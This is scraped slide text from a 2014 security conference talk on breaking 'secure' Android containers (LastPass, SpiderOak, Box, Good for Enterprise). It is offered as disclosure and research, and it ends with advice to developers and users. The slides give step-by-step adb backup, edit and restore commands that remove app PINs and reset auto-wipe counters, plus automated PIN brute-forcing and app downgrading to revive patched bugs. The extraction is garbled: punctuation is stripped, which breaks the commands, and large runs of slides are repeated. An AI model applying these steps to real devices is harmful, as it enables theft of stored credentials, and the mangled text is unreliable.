Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 41: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
